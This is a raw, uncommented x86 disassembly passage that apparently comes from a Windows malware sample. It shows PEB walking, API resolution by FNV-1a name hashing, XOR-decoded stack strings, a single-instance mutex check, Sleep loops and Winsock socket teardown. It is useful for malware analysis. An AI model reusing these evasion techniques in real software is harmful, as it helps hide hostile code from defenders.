call fcn.00548c60
mov ecx, dword [0x590b48]
sub ecx, eax
mov eax, dword [0x590b4c]
mov dword [ebp - 0x30], ecx
sbb eax, edx
mov dword [0x590b48], ecx
mov dword [ebp - 0x2c], eax
xor ecx, edi
mov edx, dword [ebp - 0x2c]
mov dword [0x590b4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x4aa5ec
add edi, dword [ebp - 0x30]
mov dword [0x590b40], edi
adc esi, edx
mov dword [0x590b44], esi
test esi, esi
jl 0x4aa605
jg 0x4aa5fa
cmp edi, 0x4e3e
jbe 0x4aa605
xorps xmm0, xmm0
movlpd qword [0x590b40], xmm0
lea ecx, [ebp - 0x328]
call fcn.0042bf70
lea ecx, [ebp - 0x328]
call fcn.004b0b80
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov edi, dword [ecx + 0x18]
mov dword [ebp - 0x48], edi
mov edx, dword [edi + 0x3c]
mov esi, dword [edx + edi + 0x78]
mov eax, dword [edx + edi + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [edi + esi]
mov dword [ebp - 0x30], eax
cmp eax, edi
je 0x4aa6a7
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4aa6a7
mov eax, dword [eax + 0x20]
mov esi, dword [ecx + 0x18]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x2c], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4aa69d
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4aa680
cmp esi, 0x7a5b9fa2
je 0x4aa6ab
mov eax, dword [ebp - 0x2c]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4aa663
mov ecx, dword [ecx]
jmp 0x4aa630
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x328]
mov ecx, 0x590c1c
push eax
call fcn.004b0d70
call fcn.0042c260
test al, al
je 0x4aa9d2
cmp byte [ebp - 0x41], 0
jne 0x4aa9d2
mov dword [ebp - 0x28], 0x27258c7c
lea edx, [ebp - 0x1f0]
mov dword [ebp - 0x24], 0x694760fb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1f0]
mov dword [ebp - 0x3e4], ecx
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x3e8], eax
pxor xmm1, xmmword [ebp - 0x3f0]
push 0x590bbc
movaps xmmword [ebp - 0x1f0], xmm1
call fcn.004b5380
add esp, 4
mov byte [ebp - 4], 0x22
mov ecx, eax
call fcn.004b0b80
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x8e8]
call fcn.0040fe60
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x8e8]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4ad62e
mov dword [ebp - 0x28], 0x160aaa47
sub esp, 0x18
mov dword [ebp - 0x24], 0x614469be
mov esi, esp
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
pxor xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x34], esi
movaps xmmword [ebp - 0x80], xmm1
mov dword [ebp - 0x3c], esp
mov dword [ebp - 0x4c], esi
call fcn.004101a0
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x80]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4aa890
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
mov ecx, esi
call fcn.004100e0
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x1e
call fcn.004384f0
mov ecx, dword [0x593134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x593130]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4aa903
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0x65
call esi
mov ecx, dword [0x593134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x593130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4aa8e0
push 2
push dword [0x590b3c]
mov byte [0x592f39], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x590b3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x48], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x30], ecx
cmp ecx, edx
je 0x4aa9a7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4aa9a7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [ebp - 0x2c], ecx
mov esi, 0x811c9dc5
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x4aa99d
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x4aa980
cmp esi, 0x2fa62ca8
je 0x4aa9ab
mov ecx, dword [ebp - 0x2c]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x4aa965
mov eax, dword [eax]
jmp 0x4aa940
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x3f5
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4aa930
mov esi, dword [0x590b44]
mov edi, dword [0x590b40]
push 0
push 2
push esi
push edi
call fcn.00548c60
mov ecx, dword [0x590b48]
sub ecx, eax
mov eax, dword [0x590b4c]
mov dword [ebp - 0x30], ecx
sbb eax, edx
mov dword [0x590b48], ecx
mov dword [ebp - 0x2c], eax
xor ecx, edi
mov edx, dword [ebp - 0x2c]
mov dword [0x590b4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x4aaa27
add edi, dword [ebp - 0x30]
mov dword [0x590b40], edi
adc esi, edx
mov dword [0x590b44], esi
test esi, esi
jl 0x4aaa40
jg 0x4aaa35
cmp edi, 0x4e3e
jbe 0x4aaa40
xorps xmm0, xmm0
movlpd qword [0x590b40], xmm0
mov byte [0x592f5d], 0
mov dword [ebp - 0x28], 0x5544fc73
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0x404], ecx
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x408], eax
pxor xmm1, xmmword [ebp - 0x410]
movaps xmmword [ebp - 0xd0], xmm1
call fcn.0041b6b0
mov esi, eax
mov byte [ebp - 4], 0x35
push 0x1e
push 0x1174781a
call fcn.00416440
mov edi, eax
add esp, 8
mov eax, dword [0x590b3c]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xd0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4aab14
sub ecx, edx
lea eax, [ebp - 0xd0]
push ecx
push eax
mov ecx, esi
call fcn.004b34b0
push eax
lea ecx, [ebp - 0x768]
call fcn.0040fcf0
mov esi, dword [ebp - 0x54]
lea edx, [ebp - 0x768]
sub esp, 0x18
or esi, 0x10
mov dword [ebp - 0x54], esi
mov ecx, esp
mov dword [ebp - 0x3c], esp
push 0x590bbc
call fcn.004b54b0
add esp, 4
mov byte [ebp - 4], 0x37
mov byte [ebp - 4], 0x36
mov edx, edi
mov ecx, dword [ebp - 0x2c]
call fcn.00437460
and esi, 0xffffffef
add esp, 0x18
mov edi, eax
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x768]
call fcn.0040fe60
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0x768]
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x900]
call fcn.0040fe60
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x900]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x1e
test edi, edi
jle 0x4aac7d
cmp byte [0x592f5d], 0
jne 0x4aac7d
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4aac4f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4aac4f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4aac45
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4aac28
cmp esi, 0x2fa62ca8
je 0x4aac53
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4aac10
mov eax, dword [eax]
jmp 0x4aabe0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x64
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x592f5d], 0
je 0x4aabd0
call fcn.00416420
mov eax, dword [0x590b40]
lea ecx, [ebp - 0x7e0]
xor dword [0x590b48], eax
mov edx, 0x590b74
mov eax, dword [0x590b44]
xor dword [0x590b4c], eax
call fcn.00431870
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x7e0]
push eax
lea ecx, [ebp - 0x398]
call fcn.004b0ec0
mov byte [ebp - 4], 0x3f
cmp dword [0x590b84], 0
jne 0x4aad47
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x388], 0
jne 0x4aad47
mov edx, 0x590b74
lea ecx, [ebp - 0x998]
call fcn.00431870
mov esi, eax
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x7e0]
push esi
call fcn.004b0da0
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x7c8]
call fcn.004b0da0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x998]
call fcn.004370d0
lea eax, [ebp - 0x7e0]
push eax
lea ecx, [ebp - 0x398]
call fcn.004b0d70
push 1
push 0x96fca07
call fcn.00416570
add esp, 8
push eax
call edi
cmp dword [0x590b84], 0
je 0x4aacd1
push 0x570678
mov ecx, 0x590b74
call fcn.004b0b80
push eax
call fcn.00524ba0
add esp, 8
test eax, eax
je 0x4aae40
lea eax, [ebp - 0x6b8]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x6a0]
mov dword [ebp - 0x34], eax
nop dword [eax]
lea ecx, [ebp - 0x6b8]
call fcn.004101a0
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x6b8]
push 1
push 0x5704a4
call fcn.004100e0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x6a0]
call fcn.004101a0
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x6a0]
push 1
push 0x570678
call fcn.004100e0
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x6b8]
push eax
lea edx, [ebp - 0x6a0]
mov ecx, 0x590b74
call fcn.00415b00
add esp, 4
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x6a0]
call fcn.0040fe60
mov byte [ebp - 4], 0x43
lea eax, [ebp - 0x6a0]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x6b8]
call fcn.0040fe60
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x6b8]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x3f
mov ecx, 0x590b74
push 0x570678
call fcn.004b0b80
push eax
call fcn.00524ba0
add esp, 8
test eax, eax
jne 0x4aad80
mov dword [ebp - 0x28], 0x5544a95d
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0xe0]
mov dword [ebp - 0x418], eax
lea eax, [ebp - 0x8d0]
mov dword [ebp - 0x414], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x420]
movaps xmmword [ebp - 0xe0], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0xe0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4aaef3
sub ecx, edx
lea eax, [ebp - 0xe0]
push ecx
push eax
lea ecx, [ebp - 0x8d0]
call fcn.004100e0
mov byte [ebp - 4], 0x4f
mov dword [ebp - 0x28], 0x5544a644
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x8b8]
mov dword [ebp - 0x424], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x430]
movaps xmmword [ebp - 0xf0], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xf0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4aafc6
sub ecx, edx
lea eax, [ebp - 0xf0]
push ecx
push eax
lea ecx, [ebp - 0x8b8]
call fcn.004100e0
mov byte [ebp - 4], 0x52
mov dword [ebp - 0x28], 0x5544a54d
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x100]
mov dword [ebp - 0x438], eax
lea eax, [ebp - 0x8a0]
mov dword [ebp - 0x434], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x440]
movaps xmmword [ebp - 0x100], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x100]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ab0a0
sub ecx, edx
lea eax, [ebp - 0x100]
push ecx
push eax
lea ecx, [ebp - 0x8a0]
call fcn.004100e0
mov byte [ebp - 4], 0x55
mov dword [ebp - 0x28], 0x5544b14e
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x448], eax
lea eax, [ebp - 0x888]
mov dword [ebp - 0x444], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x450]
movaps xmmword [ebp - 0x110], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ab173
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x888]
call fcn.004100e0
mov byte [ebp - 4], 0x58
mov dword [ebp - 0x28], 0x5544a65a
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x458], eax
lea eax, [ebp - 0x870]
mov dword [ebp - 0x454], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x460]
movaps xmmword [ebp - 0x120], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ab246
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x870]
call fcn.004100e0
mov byte [ebp - 4], 0x5b
mov dword [ebp - 0x28], 0x5544b842
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x468], eax
lea eax, [ebp - 0x858]
mov dword [ebp - 0x464], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x470]
movaps xmmword [ebp - 0x130], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x130]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ab320
sub ecx, edx
lea eax, [ebp - 0x130]
push ecx
push eax
lea ecx, [ebp - 0x858]
call fcn.004100e0
mov byte [ebp - 4], 0x5e
mov dword [ebp - 0x28], 0x5544bb44
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0x478], eax
lea eax, [ebp - 0x840]
mov dword [ebp - 0x474], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x480]
movaps xmmword [ebp - 0x140], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x140]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ab3f3
sub ecx, edx
lea eax, [ebp - 0x140]
push ecx
push eax
lea ecx, [ebp - 0x840]
call fcn.004100e0
mov byte [ebp - 4], 0x61
mov dword [ebp - 0x28], 0x5544b65b
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x150]
mov dword [ebp - 0x488], eax
lea eax, [ebp - 0x828]
mov dword [ebp - 0x484], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x490]
movaps xmmword [ebp - 0x150], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x150]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ab4c6
sub ecx, edx
lea eax, [ebp - 0x150]
push ecx
push eax
lea ecx, [ebp - 0x828]
call fcn.004100e0
mov byte [ebp - 4], 0x64
mov dword [ebp - 0x28], 0x5544bd5a
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x160]
mov dword [ebp - 0x498], eax
lea eax, [ebp - 0x810]
mov dword [ebp - 0x494], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x4a0]
movaps xmmword [ebp - 0x160], xmm1
mov dword [ebp - 0x3c], eax
call fcn.004101a0
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x160]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ab5a0
sub ecx, edx
lea eax, [ebp - 0x160]
push ecx
push eax
lea ecx, [ebp - 0x810]
call fcn.004100e0
mov byte [ebp - 4], 0x67
mov dword [ebp - 0x28], 0x5544a64e
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
